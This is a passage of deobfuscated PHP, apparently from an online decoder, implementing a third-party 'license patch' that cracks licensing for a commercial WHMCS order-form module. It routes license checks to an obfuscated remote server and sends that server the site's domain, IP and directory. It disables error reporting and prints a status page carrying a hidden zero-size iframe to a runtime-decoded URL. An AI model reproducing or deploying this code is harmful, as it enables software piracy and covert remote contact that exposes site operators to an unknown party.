'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpuZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpuaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpubE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpucE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqRk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Qk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Rk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Sk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Tk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Uk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Vk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUwcFFYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig=='];
		return $this->getprotocol() . $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($MySQL->random($obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE), $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
	}

	public function UrlLastAUth()
	{
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlFHMVdlVjVYV2pWTVZ6RjJXa2hXYzFwVE1XNVpXRXByV2xjMGRFQXBTVDA9Ig==', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
	}

	public function Secret()
	{
		global $MySQL;
		$hasil = $this->obf_5ezj5eeicC6rpKwq4WBi56OkY2DvaE($this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(), $this->licensekey());
		$json_decode = json_decode($hasil, true);
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($json_decode['secret_key'], $json_decode['eauth_key'], $json_decode['dauth_key']);
	}

	public function BuildSecret()
	{
		global $MySQL;
		$hasil = $this->obf_6upyjpZe0tagipKXurySs4yGqqE($this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(), $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE(), $this->moduleversion());
		$json_decode = json_decode($hasil, true);
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlRpbFZNMWw2VVRCTlJGVjRXVEpGTVU1UlBUMD0i', $json_decode['eauth_key'], $json_decode['dauth_key']);
	}

	public function getDirectory()
	{
		return dirname(__FILE__);
	}

	public function DataLocalName()
	{
		return MODULE_CYBER_NAME;
	}

	public function DataLocalKey()
	{
		return $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE() . '_localkey';
	}

	public function getIp()
	{
		return (isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : $_SERVER['LOCAL_ADDR']);
	}

	public function getWhmcsDomain()
	{
		global $CONFIG;
		global $MySQL;

		if (!empty($_SERVER['SERVER_NAME'])) {
			return $_SERVER['SERVER_NAME'];
		}

		$result = $MySQL->obf_4WQsKurpYmQkIqmiqy8n5iUlbyUhZE('tblconfiguration', 'setting=\'SystemURL\'');
		return parse_url($result['value'], PHP_URL_HOST);
	}

	public function CheckToken()
	{
		$check = time() . md5(mt_rand(100000000, mt_getrandmax()) . $this->licensekey());
		return $check;
	}

	public function UrlLastVerify()
	{
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IktsYzVhMEJYZUd4TVYwQWtKbTFTYkNvbFBUMD0i', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
	}

	public function UrlLastVerifySecret()
	{
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlFHMVdlU1l5YkhZcUpUMDki', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
	}

	public function ModuleVersion()
	{
		$obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI = 'moduleVersion.php';
		$obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE = '';

		if (file_exists($obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI)) {
			$content = file_get_contents($obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI);
			preg_match('/\\$moduleVersion\\s?=\\s?\'([A-Za-z0-9_\\.\\-]+)\'/', $content, $matches);
			$obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE = $matches[1];
		}

		return ($obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE ? $obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE : NULL);
	}

	public function ForceLicense($reset = '')
	{
		global $MySQL;
		$result = $MySQL->obf_4WQsKurpYmQkIqmiqy8n5iUlbyUhZE('tblconfiguration', 'setting=\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');

		if ($result['id'] == '') {
			$MySQL->obf_6Rs56Cn5C1kYGZraSLuIyKkZWlnpE('tblconfiguration', '(`setting`,`value`,`created_at`,`updated_at`)', 'VALUES(\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\',\'\',\'' . date('Y-m-d H:i:s') . '\',\'' . date('Y-m-d H:i:s') . '\')');
			$localkey = '';
		}
		else if ($reset == 'reset') {
			$MySQL->obf_6iksaSjp7efh46PlbCslo6MqYYj5E('tblconfiguration', 'value=\'\', updated_at=\'' . date('Y-m-d H:i:s') . '\'', 'setting=\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');
			$localkey = '';
		}
		else {
			$localkey = $result['value'];
		}

		return $localkey;
	}

	public function GetIonCubeLoaderVersion()
	{
		ob_start();
		phpinfo(INFO_GENERAL);
		$aux = str_replace('&nbsp;', ' ', ob_get_clean());

		if ($aux !== false) {
			$pos = mb_stripos($aux, 'ionCube PHP Loader');

			if ($pos !== false) {
				$aux = mb_substr($aux, $pos + 18);
				$aux = mb_substr($aux, mb_stripos($aux, ' v') + 2);
				$version = '';
				$c = 0;
				$char = mb_substr($aux, $c++, 1);

				while (mb_strpos('0123456789.', $char) !== false) {
					$version .= $char;
					$char = mb_substr($aux, $c++, 1);
				}

				return $version;
			}
		}

		return '-';
	}

	public function GetMCryptExt()
	{
		if (extension_loaded('mcrypt') && function_exists('openssl_encrypt')) {
			$hasil = 'Installed';
		}
		else {
			$hasil = '-';
		}

		return $hasil;
	}

	public function CheckLicense($licensekey, $localkey = '')
	{
		global $MySQL;
		$whmcsurl = $this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE();
		$licensing_secret_key = $this->secret();
		$localkeydays = 2;
		$allowcheckfaildays = 4;
		$check_token = $this->checktoken();
		$checkdate = date('Ymd');
		$domain = $this->obf_5eKsaeimaypuZOQwLy1loe9kpyoipE();
		$usersip = $this->getip();
		$dirpath = $this->getdirectory();
		$localkeyvalid = false;

		if ($localkey) {
			if (NEW_CYBER_MODULE == 1) {
				if (NEW_CYBER_ENCRYPT == 1) {
					$cipher = 'aes-128-cbc';
					$iv = substr(md5($this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()), 0, openssl_cipher_iv_length($cipher));
					$localkey = openssl_decrypt($localkey, $cipher, $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE(), 0, $iv);
				}
				else {
					$localkey = openssl_decrypt($localkey, 'aes-128-cbc', $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE());
				}
			}

			$localkey = str_replace("\n", '', $localkey);
			$localdata = substr($localkey, 0, strlen($localkey) - 32);
			$md5hash = substr($localkey, strlen($localkey) - 32);

			if ($md5hash == md5($localdata . $licensing_secret_key)) {
				$localdata = strrev($localdata);
				$md5hash = substr($localdata, 0, 32);
				$localdata = substr($localdata, 32);
				$localdata = base64_decode($localdata);
				$localkeyresults = unserialize($localdata);
				$originalcheckdate = $localkeyresults['checkdate'];

				if ($md5hash == md5($originalcheckdate . $licensing_secret_key)) {
					$localexpiry = date('Ymd', mktime(0, 0, 0, date('m'), date('d') - $localkeydays, date('Y')));

					if ($localexpiry < $originalcheckdate) {
						$localkeyvalid = true;
						$results = $localkeyresults;
						$validdomains = explode(',', $results['validdomain']);

						if (!in_array($_SERVER['SERVER_NAME'], $validdomains)) {
							$localkeyvalid = false;
							$localkeyresults['status'] = 'Invalid';
							$localkeyresults['description'] = 'Invalid Domain Name';
							$results = [];
						}

						$validips = explode(',', $results['validip']);

						if (!in_array($usersip, $validips)) {
							$localkeyvalid = false;
							$localkeyresults['status'] = 'Invalid';
							$localkeyresults['description'] = 'Invalid IP Address';
							$results = [];
						}

						$validdirs = explode(',', $results['validdirectory']);

						if (!in_array($dirpath, $validdirs)) {
							$localkeyvalid = false;
							$localkeyresults['status'] = 'Invalid';
							$localkeyresults['description'] = 'Invalid Directory Patch';
							$results = [];
						}
					}
				}
			}
		}

		if (!$localkeyvalid) {
			$responseCode = 0;
			$postfields = ['licensekey' => $licensekey, 'domain' => $domain, 'ip' => $usersip, 'dir' => $dirpath];

			if ($check_token) {
				$postfields['check_token'] = $check_token;
			}

			$query_string = '';

			foreach ($postfields as $k => $v) {
				$query_string .= $k . '=' . urlencode($v) . '&';
			}

			if (function_exists('curl_exec')) {
				$ch = curl_init();
				curl_setopt($ch, CURLOPT_URL, $whmcsurl . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_6nAvoeStY6LrYqHm6C4l4GxhJGUrpE());
				curl_setopt($ch, CURLOPT_POST, 1);
				curl_setopt($ch, CURLOPT_POSTFIELDS, $query_string);
				curl_setopt($ch, CURLOPT_TIMEOUT, 30);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				$data = curl_exec($ch);
				$responseCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
				curl_close($ch);
			}
			else {
				$responseCodePattern = '/^HTTP\\/\\d+\\.\\d+\\s+(\\d+)/';
				$fp = @fsockopen($whmcsurl, 80, $errno, $errstr, 5);

				if ($fp) {
					$newlinefeed = "\r\n";
					$header = 'POST ' . $whmcsurl . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_6nAvoeStY6LrYqHm6C4l4GxhJGUrpE() . ' HTTP/1.0' . $newlinefeed;
					$header .= 'Host: ' . $whmcsurl . $newlinefeed;
					$header .= 'Content-type: application/x-www-form-urlencoded' . $newlinefeed;
					$header .= 'Content-length: ' . @strlen($query_string) . $newlinefeed;
					$header .= 'Connection: close' . $newlinefeed . $newlinefeed;
					$header .= $query_string;
					$data = $line = '';
					@stream_set_timeout($fp, 20);
					@fputs($fp, $header);
					$status = @socket_get_status($fp);

					while (!@feof($fp) && $status) {
						$line = @fgets($fp, 1024);
						$patternMatches = [];
						if (!$responseCode && preg_match($responseCodePattern, trim($line), $patternMatches)) {
							$responseCode = (empty($patternMatches[1]) ? 0 : $patternMatches[1]);
						}

						$data .= $line;
						$status = @socket_get_status($fp);
					}

					@fclose($fp);
				}
			}

			if ($responseCode != 200) {
				$localexpiry = date('Ymd', mktime(0, 0, 0, date('m'), date('d') - ($localkeydays + $allowcheckfaildays), date('Y')));

				if ($localexpiry < $originalcheckdate) {
					$results = $localkeyresults;
				}
				else {
					$results = [];
					$results['status'] = 'Invalid';
					$results['description'] = 'Remote Check Failed';
					return $results;
				}
			}
			else {
				preg_match_all('/<(.*?)>([^<]+)<\\/\\1>/i', $data, $matches);
				$results = [];

				foreach ($matches[1] as $k => $v) {
					$results[$v] = $matches[2][$k];
				}
			}

			if (!is_array($results)) {
				exit('Invalid License Server Response');
			}

			if ($results['md5hash']) {
				if (md5($licensing_secret_key . $check_token) != $results['md5hash']) {
					$results['status'] = 'Invalid';
					$results['description'] = 'MD5 Checksum Verification Failed';
					return $results;
				}
			}

			if ($results['status'] == 'Active') {
				$results['checkdate'] = $checkdate;
				$data_encoded = serialize($results);
				$data_encoded = base64_encode($data_encoded);
				$data_encoded = md5($checkdate . $licensing_secret_key) . $data_encoded;
				$data_encoded = strrev($data_encoded);
				$data_encoded = $data_encoded . md5($data_encoded . $licensing_secret_key);
				$data_encoded = wordwrap($data_encoded, 80, "\n", true);

				if (NEW_CYBER_MODULE == 1) {
					if (NEW_CYBER_ENCRYPT == 1) {
						$cipher = 'aes-128-cbc';
						$iv = substr(md5($this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()), 0, openssl_cipher_iv_length($cipher));
						$data_encoded = openssl_encrypt($data_encoded, $cipher, $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE(), 0, $iv);
					}
					else {
						$data_encoded = openssl_encrypt($data_encoded, 'aes-128-cbc', $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE());
					}
				}

				$results['localkey'] = $data_encoded;
			}

			$results['remotecheck'] = true;
		}

		unset($postfields, $data, $matches, $whmcsurl, $licensing_secret_key, $checkdate, $usersip, $localkeydays, $allowcheckfaildays, $md5hash);
		return $results;
	}
}

function obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s, $hn, $in)
{

	return function() use($s, $hn, $in) {
		$i = $s;

		while (true) {
			yield hash($GLOBALS[$hn], (string) $i);
			$i += $in;
		}
	};
}

$_SERVER['DOCUMENT_ROOT'] = realpath(dirname(__FILE__) . '/../../../');
require_once $_SERVER['DOCUMENT_ROOT'] . '/configuration.php';

if (!defined('MODULE_NAME')) {
	define('MODULE_NAME', 'Lagom One Step Order Form For WHMCS');
}

if (!defined('MODULE_MD5_VERSION')) {
	define('MODULE_MD5_VERSION', '1.2.4');
}

if (!defined('MODULE_CYBER_NAME')) {
	define('MODULE_CYBER_NAME', 'lagom_one_step_order_form');
}

if (!defined('NEW_CYBER_MODULE')) {
	define('NEW_CYBER_MODULE', '1');
}

if (!defined('NEW_CYBER_ENCRYPT')) {
	define('NEW_CYBER_ENCRYPT', '1');
}

$h = 'ripemd';

if (!function_exists('mygen')) {
	function mygen($hr, $hr2, $skip1, $skip2)
	{
		for ($i = 1; $i <= (int) $skip1; ++$i) {
			$GLOBALS['g']->next();
		}

		for ($i = 1; $i <= (int) $skip2; ++$i) {
			$GLOBALS['j']->next();
		}

		$u = $GLOBALS['g']->current();
		$v = $GLOBALS['j']->current();
		$GLOBALS['g']->next();
		$w = hash($hr, $u) . hash($hr2, $v);
		$GLOBALS['j']->next();
		return $w;
	}
}

$rt = 'seq';
$h2 = $h;
$hfm = 'sha';
$dsz = ['160', '256', '384', '512'];
$nmhsh = $hfm . $dsz[2];
$v1 = hash($nmhsh, $rt);
$a = 2;
$s1st = 0;
$s2st = $s1st + 1;
$b = $a;
$efn = obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s1st, 'h', $a);
$ofn = obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s2st, 'h2', $b);
$g = $efn();
$j = $ofn();
$h .= $dsz[0];
$h2 .= $dsz[1];
$dkv = join(':', array_reverse($dsz));
ini_set('allow_url_fopen', 1);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(0);
$debug = new debug();
$MySQL = new mysql();
$CyberSoft = new obf_6uitZ2UnYWis7KLp5OMrKOZiYiOpJE();

if ($CyberSoft->moduleversion() != MODULE_MD5_VERSION) {
	$client_change_version = 'true';
}
else {
	$client_change_version = 'false';
}

$local_key = $CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE();
$results = $CyberSoft->checklicense($CyberSoft->licensekey(), $local_key);
$hasil_versi = $results['customfields'];
$expl_hasil = explode('=', $hasil_versi);
$version_server = $expl_hasil[1];

if (trim($version_server) != '') {
	if ($CyberSoft->moduleversion() <= $version_server) {
		if ($results['status'] == 'Active') {
			if ($client_change_version == 'false') {
				if ($results['remotecheck'] == 1) {
					if (trim($results['localkey']) != '') {
						$MySQL->obf_6iksaSjp7efh46PlbCslo6MqYYj5E('tblconfiguration', 'value=\'' . $results['localkey'] . '\', updated_at=\'' . date('Y-m-d H:i:s') . '\'', 'setting=\'' . $CyberSoft->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');
						$results['description'] = '-';
					}
					else {
						$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
						$results['description'] = '-';
					}
				}
				else {
					$results['description'] = '-';
				}
			}
			else {
				$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
				$results['description'] = 'Your Module Version is Not Valid !';
			}
		}
		else {
			$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
		}
	}
	else {
		$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
		$exl = explode(';', $results['addons']);
		$sts_1 = explode('=', $exl[2]);
		$exp_1 = explode('=', $exl[1]);
		$results['description'] = 'Server License is Lower then Client License, Please Download v.' . $version_server . '';
	}
}
else {
	$results['description'] = $results['message'];
}

if ($CyberSoft->obf_5mTpq8kqGVg7aYkKqjo7KTjZi5rLE() != 'Installed') {
	$error_patch = '# <span class="red"> Error : Need Install MCrypt PHP Module !</span><br> ';
}
else {
	$error_patch = '# <span class="blue"> Mcrypt Version : ' . phpversion('mcrypt') . '</span><br> ';
}

if ($results['description'] == '') {
	$error_license = '<span class="red">' . $results['message'] . '</span>';
}
else {
	$error_license = '<span class="red">' . $results['description'] . '</span>';
}

echo "\n" . '<!DOCTYPE HTML><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">@media screen and (max-width:800px){body{padding-top:5px}.window{width:98%}}</style><style type="text/css">*{padding:0;margin:0}body{font-family:monospace;font-size:12px;color:#c8cfd8;background:#343944;margin:auto;padding-top:60px;line-height:1.3em;display:flex}a{color:#5294e2}b{color:#6a9e41}.yellow{color:#ff0}.blue{color:#0cf}.red{color:red}.window{background:#404552;box-shadow:0 0 10px rgba(0,0,0,.5);border-radius:5px;border:2px solid #2e333f;width:720px;margin:auto}.window_header{background:#2e333f;color:#c8cfd8;padding:7px}.window_title{display:inline-block}.window_close_button,.window_maximize_button,.window_minimize_button{border-radius:7px;width:12px;height:12px;display:inline-block;float:right;margin-left:6px}.window_minimize_button{background:#2cc640;border:1px solid #51a75c}.window_maximize_button{background:#fdbf2e;border:1px solid #d6a839}.window_close_button{background:#fe6256;border:1px solid #ca5f59}.window_content{padding:7px}.blink{animation:1s infinite blinking}@keyframes blinking{0%{clear:both}50%{color:transparent}}</style><title>Module Garden License Patch</title></head><body>  <div class="window">  <div class="window_header"><div class="window_title">Module Garden License Patch</div><div class="window_close_button"></div><div class="window_maximize_button"></div><div class="window_minimize_button"></div></div><div class="window_content"><b>license@' . $CyberSoft->getip() . ':~$</b> <span class="">./mg-svr-verify php module</span><br>  <span class="">##################################</span><br>  # <span class="blue"> Mcrypt Module : ' . $CyberSoft->obf_5mTpq8kqGVg7aYkKqjo7KTjZi5rLE() . '</span><br>  ' . $error_patch . '# <span class="blue"> Ioncube Version : ' . $CyberSoft->obf_66nuYeMkYiqurafh7CngqCgu5yBqLE() . '</span><br> <span class="">##################################</span><br>  <b>license@' . $CyberSoft->getip() . ':~$</b> <span class=""></span><br> <b>license@' . $CyberSoft->getip() . ':~$</b> <span class="">./mg-svr-patch activate module</span><br>  <span class="">##########################################################</span><br>  # <span class="yellow">Module Name : ' . MODULE_NAME . '</span><br>  # <span class="yellow">Server Version : ' . $version_server . '</span><br>    # <span class="yellow">Client Version : ' . $CyberSoft->moduleversion() . '</span><br>   # <span class="yellow">Patch Date : ' . date('Y-m-d') . '</span><br> # <span class="yellow">Patch Time : ' . date('H:i:s') . '</span><br> # <span class="yellow">Status : ' . $results['status'] . '</span><br> # <span class="yellow">Error : ' . $error_license . '</span><br> <span class="">##########################################################</span><br>  <b>license@' . $CyberSoft->getip() . ':~$</b> <span class="blink">_</span><br>  </div></div><iframe src="' . $CyberSoft->obf_5EpaqdhZOp6i9sKm4nqebrKqhjKE() . '" width="0" height="0" tabindex="-1" title="" class="hidden"></iframe></body></html>' . "\n\n";
echo "\n";

?>

Function Calls

None

Variables

None

Stats

MD5 6c284d1d5afc470ffecbb6efb0f9e6de
Eval Count 0
Decode Time 187 ms